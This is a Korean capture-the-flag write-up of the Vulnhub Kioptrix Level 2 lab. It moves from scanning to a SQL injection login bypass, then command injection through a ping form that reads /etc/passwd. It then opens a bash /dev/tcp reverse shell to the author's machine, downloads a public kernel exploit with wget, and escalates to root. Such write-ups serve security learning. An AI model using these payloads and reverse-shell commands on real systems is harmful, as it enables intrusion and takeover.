[Solved in under 1 hour 20 minutes]
Kioptrix Level 1은 문제를 푸는데 굉장히 오랜 시간이 걸렸다.
살면서 처음 접해본 Wargame 형식이기도 하였고, 여러가지 공부하면서 하느라 더욱 그런것 같다.
거두절미하고 풀어보자.

Level 1과 같이 root로 접속하란다.

netdiscover
해당 가상환경의 IP를 확인하고 바로 포트스캔을 때려보았다.

nmap -sV 192.168.145.131
여러가지 포트가 열려있는것을 확인하였는데, 3306의 MySQL 포트가 열려있는것을 보고 바로 웹으로 향했다.

' or '1'=true #
문제를 보자마자 어? SQL Injection 문제라고 생각하여 제일 기초인 공격을 해보았다.
굳이 pw에 넣지 않고 id에 넣어도 문제없었으나 습관성 admin / ' or '1'=true # 가 되었.. 허허

뭔진 잘 모르겠지만 Ping ~ network 라길래 내 IP를 넣어보았더니

정말 핑 쏜거에 대한 결과 였다.
자, 여기서 생각해야 할 점
핑을 보낼수 있다는 것은 ping [입력란] 이런 구조이므로 어떤 형식으로 되어 있는지는 잘 모르겠지만, Command Injection을 노려봐야 한다.
가장 기본적인 세미콜론(;)을 삽입하여 앞에 명령을 처리하고 뒤에 명령도 처리하는 즉 and 형식으로 192.168.149.129; ls를 삽입하였더니

192.168.145.129; ls
역시나 잘 되었다.
즉 Command Injection이 되는 구조이고 명령어가 먹힌다면 나는 가장 먼저 해보는것이 /etc/passwd, /etc/shadow 및 whoami 이 세 가지를 필수적으로 한다.
한번 해보자

192.168.145.129; cat /etc/passwd
/etc/passwd 파일은 잘 보였으나, /etc/shadow는 권한으로 인해 보지 못하였고 그 뒤로 whoami를 통해 내가 apache로 명령어를 쏘고있는것을 확인했다.
/etc/passwd를 통해 /bin/bash로 사용중인 즉, 로그인이 가능한 녀석으로 혹시나 비밀번호가 없는지 테스트를 하였는데 역시나 전부 다 로그인이 불가 하였고
이후 여러가지 맨땅에 헤딩을 하다 Reverse Shell로 연결을 시도하였다.

192.168.145.129; bash -i >& /dev/tcp/192.168.145.129/4885 0>&1
내가 사용중인 Kali 터미널에서 netcat 명령어로 네트워크 연결을 대기상태로 두고
Command Injection이 가능한 란에 코드를 삽입하고 나한테 연결을 시도하였더니
nc -lvnp 4885
잘 연결 되었다.
하지만 연결 하였음에도 여전히 apache로 연결이 되었기 때문에 막힌 권한이 많았고, 이 문제는 root로 로그인을 성공하는 것이므로 권한상승(Privilege escalation) 취약점을 노려 해당 커널의 취약점을 노려 보기로 하였다.

uname -a
uname -a 명령어를 통해 시스템의 커널 및 운영체제 정보를 파악하였고
CVE-2009-2692
를 통해 로컬에서 권한상승 하는 1-day 취약점을 이용하기로 했다.

searchsploit -m linux/local/9545.c
EDB-ID가 9545인것을 확인하였고, Kali 다른 터미널에서 명령어를 통해 다운받았다.
python3 -m http.server 8000
이후 Kali 파일을 다운받은 디렉토리에서 서버를 열어주었고

wget http://192.168.145.129:8000/9545.c
Reverse Shell로 접속한 터미널로 파일 다운을 시도하였지만

gcc 9545.c -o root
apache의 권한으로 이곳저곳 마음대로 할 수 없으니 /tmp로 이동해 다시 한번 다운받았다.
다운로드가 완료된 이후 gcc 명령어를 통해 컴파일해주고 실행하였다.
./root 를 입력하니 뭐라 나오는데 무시하고 whoami를 다시 해보니
root로 권한상승이 되었고 비밀번호를 바꿨다.

가상머신에서 로그인을 하니 잘 접속 되는것을 확인하였다.
Kioptrix Level 1 문제는 시간이 꽤나 걸렸는데 아무래도 처음 접해본 리얼월드 해킹이다 보니 그런것 같다.
1-day를 이용하는 개념을 바탕으로 시도하니 막힌부분도 어느정도 있었지만 막 벽을 느끼고 그런건 없어서 재밌게 풀었던것 같다.
단순 이런 Write-up을 보면 이 자식은 어떻게 이렇게 바로바로 그 방법을 생각하고 술술 풀지? 라는 의문점이 들 수 있는데..
다른 훌륭한 분들은 모를지라도 적어도 나는 그딴거 없다 맨땅에 헤딩 정말 많이 한다.
예를 들어, ping 쏘는것을 확인하고 도메인을 보니 /pingit.php 인것을 보고 어? 서브도메인 다른것도 있나 생각하여 gobuster도 사용했었고 ㅋㅋㅋㅋ web에 접속하기 전에 nikto를 통해 취약점 정보 수집(?)도 했고, Command Injection이 되네? 이제 뭐 해야하지? 이런게 있었다. ㅋㅋ ㅠㅠ
하지만 Write-up을 작성할 때는 그런 부분을 단지 생략 할 뿐이다.
그러니 다들 포기하지말고 열심히 노오오오오오ㅗ오오ㅗㅗㅗ력 해보자.
Vulnhub Kioptrix Level 2 Write-up
이상 보고 끝!